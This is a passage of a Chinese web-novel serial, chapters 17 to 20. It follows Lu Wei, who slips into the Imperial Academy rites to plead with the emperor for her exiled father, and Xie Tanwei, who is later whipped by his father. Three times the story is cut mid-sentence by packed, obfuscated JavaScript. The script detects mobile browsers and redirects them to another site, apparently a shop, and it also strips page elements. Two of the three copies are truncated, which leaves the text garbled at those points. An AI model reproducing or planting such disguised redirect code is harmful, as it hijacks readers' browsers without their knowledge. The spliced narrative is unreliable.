看来父亲是知道他的来意的,可又不意外是先指责于他,“父亲身为吏部尚书,却觉得此事只是‘旁骛’吗?父亲可以认为我失职,甚至是为情所迷,却难道当真看不到忠良受屈?” 谢探微并不是只在露微口中了解过赵维贞,连日也在多方打听赵家案情。虽因职分低微,于案情无助,他却是听了满耳朵赵维贞的贤德之名。他觉得,公心私心已毫无区分的必要。 谢道元的神色一无变化,只把目光转到了儿子脸上,“八月初七,国子监将举行天子视学的大典,京师文武七品以上清要官吏都要随行观礼,这是目下朝廷最大的事。” 父亲没有正面回应,所以谢探微还是想不通:“依照礼法,国子监每年春秋二分之月都有天子视学的典礼,父亲又不是学官,阿父更不是,难道为了祭典疏于正业,就不是失职了?” 按此话赶话的情状,父子眼看又要吵起来了,可谢道元却一反常态,竟一轻笑: “你以为朝廷之事按书上写的去办就行了吗?那汉文景垂衣拱手,就真的只是无所作为,坐享天下,便能令海内富庶,国力强盛?此次大典将是立国以来最完备的一次,太子将亲从齿胄,意在强调君臣之义,父子之道,长幼之节,也以此为天下‘育德’。” 父亲难道是要给他上课吗?此时此地?谢探微思忖了半天,仅仅能答:“我知道当今陛下极为重视修德。” “那你也该知晓,德之于人,各有不同。文官有治国良谋,辅弼社稷是德,将帅能赏罚分明,攻战必胜也是德,天下德盛,而国家必兴,是以文景垂拱,乃有治世。” 说来说去,重点都聚在了一个“德”字上,谢探微既是迷惑,却又有一种不敢掉以轻心的警醒之感。 看见谢探微的神情变化,谢道元也敛束了形容,“若你有不懂之处,就等你寄父回来问他。许多事明理比行动更重要,若你一味短见薄识,那这一辈子也不过就配做个下等武官。” 所以理论到现在,结果还是要空等?为什么父亲要这么说话?是故作高深瞧不起他,还是故弄玄虚不愿帮他? “若不是父亲不许我参加选官,我早就不是下等武官了!我的军功,父亲看不见,我的努力,父亲也看不见!” 谢探微没了耐心,后悔今天不该来自讨没趣,而谢道元听来也没有再多说一句,转身而去。 不远处,一个少年正牵马向谢道元迎来,那正是二郎谢探隐。从谢探微与父亲道旁谈话起,弟弟就一直候着,是专为接父亲而来,举动熟练,应是天天如此。 “阿兄,跟我们一起回家吗?”弟弟笑着向他挥了挥手,笑脸也转向谢道元,“阿耶,叫阿兄一起回家吃饭吧?” 谢道元依旧不语,跨上马,扬鞭而去。谢探微亦定在原地,久而也只是目送弟弟的背影远去。 “阿耶”多是撒娇时的亲昵称呼,谢探微从未这样唤过父亲。五岁前是惧怕严父,五岁后是心灰意冷。 又过了许久,街上的人流早已淹没了父子的痕迹,他缓缓抬头,眼睛望向了北面的宫城。 …… 国子监举行大典的日子是八月初七,露微却是到七月底才下了决心。然而,直到大典前夜,杨淑贤笑嘻嘻捧来两身监生服制,说明日就扮成监生混进去时,露微都没有对她明言。 这件事不论成败,乔装入监原就罪名不小,露微既无十足把握说动圣心,便更不想连累杨家罪上加罪。于是,她决定进去之后借口走散,自寻出路。 国子监虽不在皇城之内,却也就在皇城正门相对的朱雀大街上。八月初七晨鼓响时,全街戒严,皇帝亲率的羽林军由南至北,层层设障,盘查官吏师生的身牌,一一比对名册后才堪放行。 如此严查之下,杨淑贤自然不能带露微从正门进国子监,可鬼灵精的杨二娘竟七拐八绕地钻到了国子监的公膳所后门。这个门不同于进出车马的后院门,平时就是专门输送菜肉所用。既无重兵把守,也与举行典仪的孔庙大殿相隔甚远。 “你以前都是从这进的?膳房不会有人吧?”刚刚一步踏进来,露微的心都在颤,可四下听着倒是没有动静的。 杨淑贤一笑,走得是轻车熟路,“平时会有厨子杂工,我就趁着送菜的来,躲在菜堆里。可今天谁还在这吃饭啊?闲杂人等早就清空了。” 闲杂人等?她们俩不就是吗?露微抿了抿嘴,不再多言,细心记认走过的路。国子监确实极大,走了两三刻才看见像是学馆课堂的房屋,但也都空无一人。 又有几刻,行过一座廊桥,听见礼乐之声传来,露微便知,前方即是大殿。她想,今日大典既然前所未有,那繁琐的典仪必会耗时长久,天子应当会有间隙的休憩,便只需找到天子休憩的所在,就有很大机会能得见天颜。 “你愣什么呢?你看,就到了!我们就绕到最后去,跟学生站在一起,不会被发现的!” 露微被杨淑贤一拍,这才看见她所指,乃是一座阙楼后的小路,“哦,你先去吧,我突然肚子疼!去解决一下再来找你。”是时候装样子了,露微显出痛苦状,弯腰捂住肚子。 “啊?”杨淑贤只忙蹲下扶人,“这里头虽有圊所,也都是男人用的,你不怕?我陪你去,帮你看着!” 露微自然还有脑筋,急急推开她的手,“哎呀,一路过来哪里有人?我就来,你只管混进去,若我晚了,也还是跟在后头,你也不必非要找我,安全就好!” 杨淑贤仍不放心,但见露微已经忍得不行,她自己私心也很想见识这近在咫尺的盛况,动摇之下,终究点头应了。 二人就此分手,露微直往大殿后方的区域跑去。 天子休憩之所必定也有人看守,她便一边挨着墙听人声,一边摸索穿行。周围的楼阁轩馆都很相似,像个迷阵,她找着找着就有些晕头转向,热出了一身汗。 然而,明明一直分外安静的迷阵里,忽然不知哪里窜出一个黑影,飞快地划过露微眼前,将她的身体腾转抱起,按在了墙角—— “露微,是我!” 听到声音的同时,她的嘴被一只温热的手掌捂住,再一睁眼,更是大惊:竟然是谢探微,竟然是谢探微! …… “这就是你说的救你父亲的办法?!”一处空置的角屋里,谢探微听完露微的解释,看着她的监生穿戴,心里又气又后怕。 “那你呢?为什么在这儿?”露微一面气恼他耽误自己的大事,一面也疑惑,“观礼的官员须是七品以上文武清要,金吾中候虽是七品,却非清要,你也是混进来的?” 谢探微捏着拳头,却也不能否认。 自那日求助父亲不成,他便生出了自己面圣陈情的想法。他是没资格正大光明地进来,但在羽林卫接手国子监的警戒之前,金吾卫也是奉命在四周巡警的。 他虽不是负责此处,却刻意求人换了岗位,便就是巡查之际发现了公膳所的小门。所以,他们竟是前后脚从同一处进来的,而之后也是同样在找天子休憩之所。只能说,万般巧合。 “这时间监生都在大殿广场集中,你穿成这样出现在这里很奇怪,我一眼就看到了,跟了没几步就认出来了。露微,太危险了!” 得知谢探微的用心,露微也再不好对他撒气,可又想起他之前的表白,心里一时犯难,“既然我已经来了,就不可能让你替我面君,你快走!” 谢探微摇头一笑:“既然我也来了,也不可能让你独自赴险,我不走!” 就这样,两人相持不下,凡露微说一句,谢探微便顶一句,各自都很有理。可也没过多久,门外一阵响动盖过了他们的争执之声。谢探微顿时机警,半句话含在嘴里就将露微揽到了身前,压下她的头,一起蹲了下来。 “你放开我!”露微也想看看外面的情况,却被紧紧抵在这人的胸口,蹭了许久才稍稍探出半张脸。 谢探微双目如炬,只见廊下一行是官家穿戴,而其中一个手持拂尘,身形细瘦,跟在为首之人身侧,万分恭敬,倒像是—— “那个瘦子是不是个内官啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336106|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 露微先一步说出了疑惑,谢探微垂首看她,眼中透出笑意,“你真是聪明得不行。” 这个时候还有心思玩笑?露微本就动作憋屈,便用力推了这人一掌,可谁知手心汗湿打滑,力道用偏了,竟一下拍在窗框上!“啪”的一声,连谢探微也不及拦住,而只是眨眼功夫,两把利剑就抵在了他们的咽喉。 “你们是何人?!竟敢刺驾!” 时间凝固了半刻,露微的心跳也像是漏了几下,而再等有所感知,却是谢探微伏跪在地,口中高呼: “臣金吾卫中候谢探微求见陛下,实有内情,望陛下恕罪!” 难道天子已在眼前?对,对啊!执剑的侍卫第一句喊得就是“竟敢刺驾”!于是,露微瞬间什么都顾不得了,也扑跪在地: “陛下明鉴!我父赵维贞绝无结党谋权,赵家有冤,乞请陛下重审赵家之案!” 两人的话音回荡在不大的庭院中,锋利的长剑仍悬在他们头顶,只是众人脚步挪动,缓缓拥趸出一个仪态瑰玮的身姿: “谢探微?你可是新安姑母的长子?” 声音沉稳,未见一丝恼怒,谢探微和露微同时抬起了脸,所见,正是一身常服的天子。 “回陛下,臣的母亲正是新安郡主,但臣今日是另有大事而来。”谢探微说完,眼睛向露微瞥来,却愈发从容: “此女是前任吏部尚书赵维贞之女,因赵家遭贬,流落街头而犯禁。上回臣被京兆尹杜石羽弹劾失职,正是怜其遭遇而枉法私放。臣虽为下等武官,却不忍忠良蒙尘,故此擅闯惊驾。” 几句话将事实删繁就简,轻巧嫁接,似是周全大局,可谢探微竟是想将罪责都揽在他一人身上!“不是的!陛下,民女是自己想为父亲伸张,与谢中候毫无关系!他原是想拦,却被民女连累!” 皇帝却仍不见改色,就算是听到赵案,也出奇的平静。他细细打量着露微,却竟忽作一笑:“好一个小丫头,好一个赵家之女,你父亲可不像能养出你这样女儿的人啊!” 即使是笑,也是天威难辨,露微不敢掉以轻心,复是一拜,道:“父亲德高望重,民女生性顽劣,请陛下治民女僭越之罪,给父亲一个澄清的机会!” “陛下……” 眼看露微涉险,谢探微忙要再去回护,可天子忽一扬手,打断了二人的心思。只见天子稍稍侧脸,唤来了那个手持拂尘的内官: “丁仁成,把这两个好好送出去。” 说了一半,天子又看向露微:“朕当日发落赵维贞去零陵,是命他携全家前往,你为何一人独留在此?” “父亲获罪前,民女去外地探亲,与父亲错过了。”露微和谢探微也是这么解释的,便一刻也没有迟疑。然则,她也弄不清皇帝的意思:既叫好好送出去,便是没有降罪,那就是同意重审了? “陛下是愿意重审父亲的案子了?”露微不忍错失面圣的机会,便壮起胆追问。 天子不答,转身离去,只留下了内官丁仁成。 …… “露微,别担心,陛下重视修德,便定是个仁厚之君,刚刚也不曾降罪,你父亲的案子是有希望的。” 国子监的祭典尚未结束,空荡的街道上唯有谢探微和露微两人。露微的心早已沉下,只是也没有任何喜悦可言。 “你以后能不能不管我的事了?”露微抬起一双晶莹的眼睛。 谢探微一笑:“我是为忠良言!” 露微叹了一声,无意再与他争论,便转身要走,却被这人一步拦在身前:“还要怎样?” 谢探微变得认真起来:“你今日能穿成这样进去,必不是你一人之功。你现在寄居之处,定是国子监学官之家,是谁?” “你——你问这么清楚又想做什么?!”露微不是不知道谢探微素来敏觉,但猜得太准,也让她心头一惊。 谢探微蹙起了眉头,目露诚恳:“我向陛下那般表述,他定会认为我收留了你,所以但凡有信也必会传至我家。你必定是不愿跟我回去的,可你肯定是要等一个结果,而我也不想再找不到你。” 露微一时没有想到这些,可若告知实情,万一他再找来怎么办? “你放心,我不会让你为难。”谢探微不难看出露微的疑虑,也自有考量,“你父亲的事未了,我也尚且不能给你答案,我只是想知道你能安然度日便好。” 露微的思绪恍然又被拉回到滞留赵家后院的那个晚上。她为了推辞,便说自己不信谢探微。那时混乱,没有心情细辩谢探微所谓之“答案”,而现在似乎已经清晰。 “我不想要你的答案。若宫中传信,你就叫人到宣阳坊杨司业家报与我。” 18.被笞 恒朝宫城明光宫,内朝紫宸殿的偏殿里,两位大臣从夜色中穿行而来。他们并不知君王夜召所为何事,面面相觑,都深感不安。然而,天子拂去一个笑容,只叫了内官丁仁成上前。 丁仁成恭敬走到两人面前,却也一脸含笑:“谢尚书,晏将军,今日释奠礼后,陛下更衣之际,两位的公子谢探微可是险些冲撞了圣驾啊。” 被宣召的大臣正是谢道元和晏令白,而一听这样的内情,瞬间大惊失色,齐齐就跪下了。 “陛……陛下,臣,臣……这臣不知道啊!”谢道元是个颇有口才的文官,可这时已语无伦次,“请陛下明示,臣回去定当……” “尚书莫急,两位都不要着急!陛下没有怪罪。”丁仁成忙将二人扶起,将白天的事细说了一回,“所以,陛下传召是想问问二位,赵女之事究竟如何。” 晏谢二人确已互通露微的情况,但因国子监祭典事涉重大,月余来还不及处理。 “两位卿家但说无妨,朕与你们亦无不可言。”见他二人神色凝重,似颇有顾虑,天子心中却明白得很。 晏令白将心思沉了沉,上前拱手,将所知一切原原本本禀告了天子。“故此,若非臣疑虑过重,这赵氏小女原是想求臣替她父亲开口的,都是臣失察在先,才引得他们铤而走险,还请陛下宽恕。” 天子默默听完,竟是满脸惊奇,“朕今日见了那丫头,虽很有些胆气,也不过十几岁,竟能有如此心智?从一支步摇就能判断杜石羽与南营州不寻常,还一举替朕找了个贬黜杜石羽的理由。晏卿啊,这不怪你,换成是朕,也得迷糊啊!” 天子的反应和晏谢两人知晓时如出一辙,而到此刻,君臣三人间对许多事也都明朗了。 谢道元说道:“陛下前后将臣等调入咸京,就是为了备大事,谋大局。赵家女儿虽一无所知,却有思谋之能,足见赵公教女有方。然则,若由她擅自谋划下去,恐怕牵动大事,还请陛下主张。” 天子细细点头,看向晏令白:“此次选官,朕许了舒正显做御史大夫,他近来有什么动静么?” 舒正显是牵头弹劾赵维贞的人,从侍御史升了御史大夫,便成了御史台的言官之首。然而,天子既是向金吾将军询问,自然就不是想问他素日公务如何。 晏令白心下了然,道:“陛下有意放手让他罗织罪名,构陷赵公,虽是成事,可陛下却顺势将赵公贬去了零陵,那可是楚王的辖所,他们岂不心有余悸?目下他领袖于御史台,则是官高位显,受人瞩目,更则收敛了许多。” 天子摇头一笑,“晏卿本是甘州大将,沙场征战,戎马倥偬,不想一朝被朕拴在京城,竟做起了朝廷的密探,替朕暗查百官言行,伺察城中细事。来日,若是有人认为将军卑行媚上,将军可觉得委屈?” 晏令白襟怀坦白,说道:“非常之时行非常之事,是陛下对臣的信任。而况,察百官,奏民隐本就是金吾之责,臣岂有委屈。” “好,好啊!如今选官已毕,大典已成,接下来就静观其变吧。”天子神色一片畅然,目光在二人之间徘徊,愈发意气扬扬。 “至于这个聪慧的赵氏小女,既是谢探微伸以援手,就交给二位卿家好好看护吧。她若再问,就说朕已命人重查案卷,不必让她再为父亲担忧,只需安心等候便可。” “臣等领命!” …… 夜深露重,晏令白和谢道元退下后,皇帝仍无倦意,神色奕奕。内官丁仁成侍奉多年,很知道天子胸中的抱负,见状便道: “老奴恭贺陛下得此二位贤臣,清除奸佞,肃清朝堂,指日可待也。” 这位开和天子李煦,弱冠即位,至今已有十八年,虽是承平之主,却素有开创之志。不过,丁仁成虽贺得不错,李煦倒并不是在想什么宏图伟业,只笑吟吟道: “你看到谢卿刚刚出去的样子了吗?一转身就变了张脸,怒气冲冲的。” 丁仁成是把人送到廊下的,自然明白,“谢尚书性情刚直,凡事规行矩步,怕不是要回去责罚儿子了。” 李煦十分认同,“朕的这个堂姑父啊,出了名的耿直,对这个长子尤为严厉,否则也不会幼年就送到晏令白身边去。所以,朕再是赦罪,谢探微也少不得挨顿家法。这样吧,你去趟太医署,叫姚宜苏准备着,明天去一趟将军府。” 丁仁成感到疑惑:“姚医官自是治疗外伤的名手,可陛下何不就传道口谕给谢家,免了谢探微受苦也罢?” “不可。”李煦却颇有深意地摇了摇头,“朕早些年就听说过谢探微,知道他十四岁就立下了军功,资质甚佳。但今日一见,倒觉得很欠些火候,有勇却无谋,有见识,却只是短见。他父亲此次未让他参加兵部考校,当就是敲打之意。所以,他是该打,这也是谢家的家事,朕不能多管。” …… 虽是惊险一场,但露微终究达到了目的,也没有让杨家受到牵连。而既已告知谢探微自己的寄居之地,回去后,她便也向杨家坦白了自己的作为。 杨献是经年研究治学的人,素性守礼,而祭典当时,他负责亚献,全程毫无空闲,所以乍一听闻此事,惊得站都没站稳,出了一身的冷汗。杨淑贤倒全无害怕,起初是真以为露微跟在了后面,不便找寻,这时竟只怪露微没有让她陪同。 如此,杨献听完露微表述,也并非不能理解其中孝义之情,便只叮嘱她再不可妄动。但对于自家小女,杨献是怒火三丈,新账旧账一起算,重罚禁足,还要抄写女则百遍。 书房里,纸张漫天飞,露微亲自伺候着杨淑贤,一会儿端茶,一会儿磨墨,除了不能替她抄,什么事都揽了。不过,苦主本人却一点看不出难过,写写停停,忽然拉住露微挑眉一笑: “阿姊,天子长什么样啊?” 露微撇了撇嘴,试图回忆,摇头:“太紧张,记不清了。你不是去观礼了吗?没看见?” “学生本就在后头,乌央乌央何止千人,我光看人家后脑勺了!”杨淑贤长叹一声歪在了露微身上,没片刻,又竖了起来,“那么,那个金吾中候如此偏帮阿姊,是不是意有所图?” 露微听得一个激灵,推开了淑贤,“我都说了,他是颇有出身才有如此胆量,天子都称他母亲为姑母,我有什么可被他图的?” “倒也是,这种王孙公子,能有份公心就不错了!家里定也是三妻四妾的,哪里配得上你?” 露微还以为她要继续深究,这才暗松了口气。可也没安静一时,门外守候的雪信忽然走了进来: “两位娘子,阍房来报,说有一个自称陆冬至的金吾郎官来找赵娘子,请娘子务必相见。” “陆冬至?!”露微和淑贤异口同声。 “是,是啊。”雪信懵住了。 露微上回听淑贤提过偶遇陆冬至之事,但那时并未表明,此刻惊讶之余也只能再解释一通。可才一说完,淑贤就坐不住了,也不顾禁足,拉起露微就要出去。 “你还敢乱跑?”露微忙将人拽住,而心中也自有考量,“他一来,怕不是我父亲的事有了消息,我自己去见便好。” 淑贤还是摇头,势必要陪着露微,“只去阍房又不出府,父亲且又上职去了,怕什么?阿姊,你倒也别怕,万一是好消息呢。” 露微当然是紧张的,不想再耽误,很快和淑贤一道去了。尚在门楼间,已见那个熟悉的身影时时向内眺望。 “阿月!”陆冬至也有数月不见露微了,脱口还是称旧名,满脸激动之情,眼睛都红了。 露微小跑而来,稍喘着气,张口难言,顿了顿才说出口:“是谢探微叫你来的?我父亲的案子如何了?” 陆冬至点点头,却也露出无奈之色,“陛下连夜召见了将军,将军说,陛下已命人重查你父亲的案卷,但结果尚早,要你耐心静候。但……” 擅闯面君才是昨天的事,这么快就启动了重查,露微不可谓不高兴,可陆冬至话音转折,又让她心生疑虑:“还有何事?” 陆冬至长舒了口气:“陛下除了召见将军,谢探微的父亲也去了,所以谢尚书也都知道了。他很生气,怪谢探微冲撞圣驾,有违臣道,亲手打了他二十鞭,连他母亲想拦都拦不住。” “什么?!” 露微很清楚谢探微在谢家的处境,和父亲的关系更是恶劣。可她没想到,天子都不曾怪罪,谢父却还是下了狠手。二十鞭,血肉之躯岂不是皮开肉绽? “那他怎么样了?”一开口,身心俱是一颤。 “死不了,但是伤得很重,太医署的医官都来了。”陆冬至也极不忍心,垂下了眼睛: “阿月,他的事你肯定都知道,他为父亲不喜,此刻定是心里比身上还疼,你若能去看看他,定比医官的药还管用。反正陛下也交代了将军照料你,之前将军对你有误会,你就看在谢探微的面子上,不要计较了。” 露微沉默了半晌,终究走出了杨家府门。 …… “陆冬至,你不认识我啦?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“露微,你怎会在这里?!你认识将军府的人么?怎么回事?那日后,我遍寻不着你,你究竟去哪儿了?” 姚宜苏遣开随行的小吏,将露微拉到了路旁树下,可不论是举动还是言辞,在露微眼中都是越界的。 “姚医官说话便说话吧,不要逾礼。”露微挣开他的手,退开数步,“我认识谁跟你有什么关系?”顿了顿,露微作一笑,“我告诉你,天子已命人重审我父亲的案子,就不必你再充好人了!” 姚宜苏顿时又惊又疑:“是晏大将军帮你的?可他就是亲自率兵捉拿你父亲的金吾将军啊!” 露微轻哼了声,“率兵围府必是天子授意,就如天子要你治病,你敢不去?我的事早已跟你无关,少妄自揣测了。” 姚宜苏自然猜不到更多的细节,惊疑不减,一时无言。 露微看着他,心里想起很多事,也渐渐从姚宜苏眼中看出了端倪,“你竟然在怕么?” 姚宜苏僵肃的面孔说明了一切。 露微一笑,抬眼看了看天,“婚姻之法有‘三不去’之规,可你姚家休我,却一下触犯了两条。一则,娶时我家富贵而你家落魄,再者,娶我时我有家,休我时,我已无家可归。此二者,法定不得出妻,若我有心告到官府,你便要坐牢一年。而况,当今天子素来崇礼尚德,国子监大典更是克复古礼,你姚家倒是条漏网之鱼啊!” “露微,不是我……”姚宜苏还是切齿难言。 露微瞥去一眼,深吸了口气,“姚家能有今天都是你的功劳,身为长子,你担得起一切夸耀。我虽与你恩断义绝,连休书都不想保存,烧成了灰烬,可我也做不出落井下石的事,你尽管放心好了。以后,我们就是陌路人,若你再敢逾礼,我便不会手软。” 其实露微原不想和姚宜苏再多牵扯,只是既然遇见,不如就把话交代清楚,以绝后患。 她亦并非动了什么恻隐之心,不过就是想到姚宜若即将参加春闱,若长兄因为这种事获罪,他亦仕途无望;而保全了姚宜苏,也是对小泽兰的关照。失母庶女,祖母不怜,若父亲再丢了官,家门无望,她这一辈子便会有吃不完的苦。 只当是为昔日友善,略尽绵薄吧。 “露微,你是来探望那位受伤的小将军的吧?”话音落下许久,姚宜苏忽然抬头问道。 露微不期然姚宜苏还敢再问,但脑中也未作多思:“是。” 19.探望 姚宜苏离开后,露微索性就在树下坐下了,也许是刚刚动了气,倒把先前的惶恐分散不少,但心里变得空落落的,甚觉无力。她低着眼睛,将下巴搁在屈起的膝上,渐渐有些出神。 然而,没过多久,树下的阴影忽然暗了一层,她不觉触动,缓缓抬起了头,不是树影,更非乌云,是——将军。 “将……军。”露微不知自己何时被发现,浑身一紧,背贴着树干一点点蹭着向上,才站了起来。 晏令白见她惊恐万状,神色亦是发紧,“既然来了,为什么不进去?” 和缓的话音夹带着极轻微的颤,如身畔落叶的尖角勾带了一下发丝。露微竟没从晏令白脸上看出她预先设想的态度。 “别害怕。”晏令白蹙着眉,声音更放低了些,“先前是我疑虑过重,对你有所猜忌,我向你道歉。孩子,你能听听我的解释吗?” 露微确实至今也不明白当时晏令白为何怀疑她,可绝不是要晏令白道歉的程度。而且,晏令白难道毫不怪自己连累了谢探微? 她稍稍放松下来,但两手仍背在身后紧握,“将军不必道歉,只是那时我有什么得罪之处,还请明示。是我把将军的衣袍洗坏了吗?还是将军不喜欢别人乱动衣袍?”虽然有些荒唐,但那半个月里,她只与晏令白有洗衣服的联系。 “不是,不是!”晏令白竟有些急切,不知怎么说才好似的,深叹了一声,“从第一次见,你便知道我们自甘州上任,颇受朝野关注,所以我自来也很谨慎。可是你太过聪慧,事事能想人之不能想,而近来朝廷颇多大事,人心浮动,我虽没有十足根据,却不免疑心你是……” 晏令白没有忍心说出最关键的字眼,可露微已能听明白了。她突然闯入他们的生活,虽然没有恶意,却从一开始就是缺少信任的,一件事又一件事,自然更显得不牢靠。 “将军当真不必道歉,是我浅薄草率,未能体察将军之意。如今,将军已知我的家事,我也不再讳言。”说着,露微向晏令白拜了一礼,越发表露真诚: “看将军的年纪,大约和家父相当,可家父是个文官,原本瘦弱,数十年来案牍劳形,又令他更加消瘦,远不似将军这般体健。所以,我行事迫切,少有远见,有诸多不周全之处,却只是想让父亲早日回京。零陵气候恶劣,常有僇官病亡当地,我很怕他撑不到天子赦免之期。我已经没有阿娘了,不想再失去父亲。” 说到一半,露微已然落下两行清泪。这是她心底的话,自赵家出事以来从未向人吐露。也许尚有不能提及的家私,可对父亲赵维贞的这份心是万分真切的。 晏令白起初是看陆冬至久久未将露微带回来,便心急出府探看。可四下扫视竟见树后露出一片裙角,走去相见又看到露微恐惧于他,他的心里早是五味杂陈。 而交谈至此,他又不能把朝廷密事全部告知,便只能硬忍着看露微仍心存自责。他也从未见过因家难流离,受尽苦楚,还能一心为父亲这般孝义的孩子,他是既动容又感佩,更则心疼不已。 “好孩子,不要哭,陛下不是已经下令重查了吗?你已经做到了,你父亲应该很快就能回来和你团聚了。” 露微缓缓点头,低头抹去泪水,“那,谢探微,还好吗?” 晏令白轻舒了口气,浮出一丝略带苦味的笑,“他是在边州军营长大的,没那么娇弱,医官已经来过,没有大碍。” 露微不知道晏令白是否知晓谢探微对她的心意,可当此情状,也是无法避嫌,想了想言辞,问道: “此事因我而起,连陛下都未曾降罪,谢尚书为何这么狠心?难道将军也没有拦阻吗?他曾同我说过幼年往事,如今这二十鞭下去,岂非要断了父子之情?” 晏令白却摇头,忖度着说道:“你擅闯惊驾和他擅闯惊驾是不能等同视之的。他是写在武官名册上定有品阶的军官,而金吾卫更是宿卫京城,守护天子的紧要之师,连天子亲率的羽林卫都无法替代。你想,他做出此事,岂能轻纵?” 露微没有想到这一层,默然受教。 “虽说是情有可原,但他必须要记住教训,否则,遇事不知三思,冲动莽撞更会害了他。你也不用担心,他父亲若真弃绝于他,大可让国法处置,为何还要亲自动手?” “可是……”露微不太认可后头的几句话。 尊长们固然是要谢探微好,但这些明面上的道理,露微也和谢探微点明过,谢探微未必不能体会,却还是表露消极之意,便大概是因为,从无人以他的心来看待他的遭遇。 这其中的间隙,虽望之渺小,却深如渊薮,是最需要细细填补的——露微又为谢探微心疼了。 “可是什么?”晏令白笑了笑,“你还不愿意进去吗?” 露微没有继续说下去,将脸转向了将军府的大门。 …… 父亲的二十鞭都打在了谢探微的后背,医官看疗用药之后,他便只能趴在寝榻上静养。外间尚有两个正在收拾物品的小奴,来往屋门之际,不防撞见了一位小娘子。 “中候醒着吗?”露微还是进来了,脚步平稳。 小奴是见过露微的,神色一亮,却还不及回话,就被房内霎时冲出来的人推开了:“你来了!” “你!”露微却立马捂住了双眼——这人只披着一件中衣,系带松散,胸膛半露,“进去!把衣服穿好!” 接着,只听咚咚几声脚步声,露微慢慢从指缝中窥视,果然无人,这才放了手,思量着走进屋内。 “露微,冬至都和你说了吧?你父亲的案子有望了!” 谢探微笔直地立在中央,看是一派昂然的兴奋,却掩不住发白的脸色。露微稍稍走近,已见他肩后印出的血色,心头暗颤。 “你,不疼吗?” 露微不忍地避开目光,伸出双手去扶,气息不自觉地屏住,一点一点将这人带去了内室的榻上。 谢探微已然呆了,盯着扶在自己身上的一双手,只是僵直地坐在榻边,“你放心,我父亲不是习武之人,那几下根本不重。” 露微站在榻下垂目看他,眼中渐渐蒙上一层薄雾,“你再是不在意你父亲的态度,可你自己的身体焉能不觉?血肉之躯,岂敌利器之伤,你要是疼,就喊疼,要是觉得委屈,你就哭。若这世上,终究无人能够体察你的心,你便多心疼自己,为自己而活。” “露微,你能体察,不是吗?”久而,谢探微轻而诚恳地说。 露微忽然觉得,不能再回避这个话题了,而她选择进来,亦本身就是选择了坦然,“你为什么喜欢我?从什么时候开始的?” 谢探微陷入了一段并不很长的回忆,他们确实相识才半年而已,“你同我说过,我是不一样的。我大约也是因为这个,从初见,你也很不一样。一开始,我以为我动的是恻隐之心,直到阿父察觉问我,我才明白,那是私心。” 露微是曾经沧海之人,少女的天真情动似乎早已离她远去,可她越是见谢探微,越是想着谢探微的种种缘故,潜移默化之间,心头的千丝万缕却是渐渐明晰的。 她待谢探微,从初见起就是不一般的。 “露微,”谢探微握住了她垂在身侧的手,彼此的掌心都是温热的,“等你父亲回京,我就请阿父到你家提亲,好不好?” 答案在一念之间,但露微还是抽开了手,“我家的案子还没着落,父亲回京尚早。” “我可以等啊,我和你一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李敬颜自然是为探望儿子而来,即使天子已赐下医药,她也丝毫不能放心。可刚一进来,所见这幅情景,又难免疑惑: “将军,那小女子是谁啊?怎么一见人反跑了呢?” 晏令白瞧了一眼那个如惊兔一般的背影,忍不住发笑:“郡主若早一刻到便能见了,那就是赵氏小女。” 李氏不禁吸气暗惊,再想看,已不见,“她是来探望大郎的?” 晏令白颔首:“正是。” 李氏还是十分好奇,心里不知忖度什么,脸上浮现些许笑意。 “好歹也是前吏部之女,就算一时落难,怎么举动如此怪异?也难怪表妹上次将她当成婢女了。”说这话的人是二郎谢探隐,他一直跟在母亲身后,都看在眼里。 “二郎不可胡言!”李氏立马回身瞪了一眼,“还不快上前向将军见礼!” 谢二郎忙抿住嘴,走近拱手一礼:“将军安好。” 对于谢探微的这个亲兄弟,晏令白见得不多,也不甚了解,便只淡笑道:“二郎颇有乃父之像,听说就要参加明年的春闱,想是能够高中的。” 李氏看看小儿子,笑而一叹:“他倒是比他阿兄教人省心得多,只是我最要紧的心事,如今都在大郎身上。昨夜他父亲动了那么大的气,我都怕大郎要与家里断绝啊!” “郡主多虑了,还是快去看看敏识吧。”晏令白很明白这份慈母之心,多说无益,让开道亲自引路。 李氏就此便去了,可一行人中,二郎却顿步原地。他不知在想什么出了神,等母亲发觉叫他,他才跟了上去。 20.挑拨 “我已经没事了,母亲不必如此。”谢探微依旧坐在寝榻边,只是面对母弟,就是另一番心境了。 李氏的眉头从进门起就没舒展过,想起昨夜谢道元笞子的情形,这孩子既未反抗,也不叫屈,身子更不曾晃动一下,她是心惊胆战,不敢再经历了。 “大郎,你去躺下吧,让娘看看伤口。” 李氏说着便要去扶,被谢探微抬手挡下,目光转动,正巧与弟弟对视,旋即又避开了,“母亲,儿已成年,多有不便。” 李氏叹了一声,怕他牵动伤口,只好又坐回了杌凳上,“对了,刚才娘门口进来,碰见……” “母亲遇到露微了?”根本不必李氏说完,谢探微敏觉得很,心里一算,露微与李氏一进一出的时间是有交集的。 李氏原是见儿子情绪不佳,便想另说些他有兴趣的,可谢探微竟急了,她又只好赶紧解释:“差了一步,娘只看见她的背影。似乎是个活泼的女孩子,定然生得也很美吧?” 